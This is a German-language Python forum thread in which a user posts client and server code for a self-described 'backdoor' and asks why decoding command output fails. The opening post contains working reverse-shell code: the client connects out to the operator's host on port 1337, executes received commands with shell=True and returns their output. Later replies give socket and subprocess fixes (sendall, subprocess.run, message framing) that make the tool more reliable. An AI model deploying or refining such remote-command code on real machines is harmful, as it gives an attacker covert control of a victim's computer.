Fehlermeldung 'utf-8 codec cant decode byte 0x81 in position 12: invalid start byte

Sockets, TCP/IP, (XML-)RPC und ähnliche Themen gehören in dieses Forum
Antworten
Raphael_155
User
Beiträge: 23
Registriert: Sonntag 12. September 2021, 06:01

Hallo,
ich programmiere derzeit eine klein backdoor, die halt über cmd befhele ausführen kann, habe dafür einen Laptop auf dem ich das mache. Wenn die
backdoor auf beiden Systemen läuft also Server auf meinem main rechner und client auf dem laptop kann ich zum beispiel whoami 'ausgeben'. Das funtioniert auch alles aber wenn ich dann zum Beispiel ipconfig als befehl eingebe kommt folgende Fehlermeldung:

UnicodeDecodeError: 'utf-8' codec cant decode byte 0x81 in position 12: invalid start byte

das ist mein Server Code:

import socket

host = "0.0.0.0"
print(host)
port = 1337

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('host',port))
s.listen(0)
connection,addr = s.accept()
print("Verbunden mit " + addr[0])
data = connection.recv(2024)
print(data)

while True:
cmd = input("Command: ")
connection.send(str.encode(cmd))
data = connection.recv(2024)
print(data.decode("utf-8"))

connection.close()


das ist mein Client Code:

import socket
import subprocess

host = "meine ip"
port = 1337
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(str.encode("Backdoor Running"))

while True:

data = s.recv(2024)
proc = subprocess.Popen(data.decode("utf-8"), shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr= subprocess.PIPE)


stdout = proc.stdout.read()
stderr = proc.stderr.read()
s.send(stdout)
s.send(stderr)



Wäre super, wenn mit da jemand helfen könnte.
Benutzeravatar
__blackjack__
User
Beiträge: 13003
Registriert: Samstag 2. Juni 2018, 10:21
Wohnort: 127.0.0.1
Kontaktdaten:

@Raphael_155: Erst einmal hat der Code das typische Problem das TCP ein Datenstrom ist und nicht was mit einem Aufruf auf der einen Seite gesendet wurde, auch zwingend mit einem Aufruf am anderen Ende empfangen wird. ``recv(1024)`` empfängt irgendwas zwischen 1 und 1024 Bytes. Code muss damit klar kommen können das jeder dieser Aufrufe genau 1 Byte aus dem Datenstrom liefert. Ansonsten ist er fehlerhaft.

Das Senden hat auch ein Problem, nämlich das auch `send()` nicht garantiert, dass es mehr als 1 Byte von den Daten tatsächlich sendet, aber das lässt sich leicht beheben: *nie* `send()` verwenden, *immer* `sendall()` nehmen.

Beim Ausführen der externen Prozesse gibt es eine Verklemmungsgefahr wenn man `stdout` und `stdin` trennt und erst das eine komplett liest und dann erst das andere. Wenn es blöd läuft kann der Code da hängen bleiben. Da am Ende beides über die gleiche Verbindung gesendet wird, könnte man um das Problem zu umgehen könnte man bei `Popen` beides auf `stdout` umlenken. Oder man verwendet nicht `Popen` sondern `run()`, das macht den ganzen komplexeren Kram um das fehlerfrei zu lösen.

Die Abfrage des Rückgabecodes des externen Processes fehlt bei Dir auch, damit keine Zombie-Prozesse entstehen. Auch darum kümmert sich `run()`.

Ansonsten wäre bei so einer Fehlermeldung der komplette Traceback interessant um zu sehen wo genau das überhaupt auftritt. Also nicht nur ob Server oder Client, sondern auch wo dort genau.

Bei Programmausgaben ist Dekodieren der Ausgabe auch problematisch weil Programme auch Binärdaten ausgeben können die gar nicht zum dekodieren zu einer Zeichenkette gedacht sind.
“Most people find the concept of programming obvious, but the doing impossible.” — Alan J. Perlis
Raphael_155
User
Beiträge: 23
Registriert: Sonntag 12. September 2021, 06:01

Ok, vielen Dank schonmal, also ich habe jetzt mal alles auf sendall gesetzt und anstatt Popen run verwendet und das funktioniert auch jetzt besser, ich verstehe, was du bei den anderen Punkten meinst, aber wie setzt ich das denn um? Also, zum Beispiel das erste, was du geschriebe hast , das alles 1 Byte sein sollte, klingt ja sehr logisch aber ich bin jetzt ehrlich gesagt etwas ratlos, wie ich das umsetzten soll. Im Internet habe ich bis jetzt dazu auch noch nichts gefunden. Oder das ich stdout und stdin nicht trennen sollten, was ist damit genau gemeint?
Vielen Dank für deine Hilfe!
Benutzeravatar
__blackjack__
User
Beiträge: 13003
Registriert: Samstag 2. Juni 2018, 10:21
Wohnort: 127.0.0.1
Kontaktdaten:

@Raphael_155: Also das mit dem `recv()` ist ein bisschen komplizierter da es hier ja kein Protokoll gibt und Prozesse prinzipiell auch beliebige Bytes ausgeben können. Ich denke Du hast vielleicht die Komplexität von dieser scheinbar einfachen Aufgabe etwas unterschätzt. Man müsste sich ein Protokoll ausdenken und das implementieren. Da ist dann die Frage ob sich der Aufwand lohnt das fehleranfällig etwas selbst zu programmieren statt ein bestehendes Protokoll zu verwenden mit einer Bibliothek die bereits getestet und ausgereift ist.

Mit der Trennung von `stdout` und `stderr` ist gemeint, dass Du bei beiden `subprocess.PIPE` angegeben hast und damit beide getrennt gelesen werden müssen. Und da muss man dafür sorgen, dass keine Verklemmung entstehen kann, also das man eines von beiden liest und darauf blockiert, während der externe Prozess etwas auf dem anderen ausgegeben hat und blockiert solange das nicht gelesen wird. Dann warten beide Prozesse bis in alle Ewigkeit aufeinander. Das Problem löst `subprocess.run()` aber schon.
“Most people find the concept of programming obvious, but the doing impossible.” — Alan J. Perlis
Raphael_155
User
Beiträge: 23
Registriert: Sonntag 12. September 2021, 06:01

__blackjack__: Also von einem Protokoll habe ich schon öfters mal gehört, aber was macht das denn genau? Verteilt das die Bytes richtig oder wie funktioniert das genau und hättest du vielleicht etwas wo ich dazu was finde weil ich finde zu Protokolls eigentlich nahezu garnichts im Internet.
Benutzeravatar
__blackjack__
User
Beiträge: 13003
Registriert: Samstag 2. Juni 2018, 10:21
Wohnort: 127.0.0.1
Kontaktdaten:

@Raphael_155: Ein Protokoll beschreibt wie die Daten in dem Datenstrom strukturiert sind. Damit man weiss wo eine Nachricht anfängt und endet. HTTP(S), FTP, IMAP, SMTP, sind alles Beispiele für gängige Abkürzungen von Netzwerkprotokollen wo das "P" für „protocol“ steht.

„Im Internet“ klingt immer so gross, dabei findet man zumindest einen Einstieg zu technischen Begriffen in der Regel bei Wikipedia zum Beispiel über die Begriffklärungsseite Protokoll zu Kommunikationsprotokoll und von da spezifischer zu Netzwerkprotokoll.
“Most people find the concept of programming obvious, but the doing impossible.” — Alan J. Perlis
__deets__
User
Beiträge: 14493
Registriert: Mittwoch 14. Oktober 2015, 14:29

Das du dazu nix findest halte ich ja fuer ein bisschen unglaubwuerdig. Der erste Link fuer mich bei der Suche "Netzerk Protokoll' ist https://de.wikipedia.org/wiki/Netzwerkprotokoll - nicht sooo ueberraschend.

Und auf der Ebene von Sockets, die du benutzt, sorgt ein Protokoll dafuer, dass aus einem Strom von Daten ohne Anfang, Ende und Abgrenzung einzelne Nachrichten werden. ZB HTTP macht genau das - eine Anfrage, und darauf hin eine Antwort. Zumindest im allgemeinen Fall.
Antworten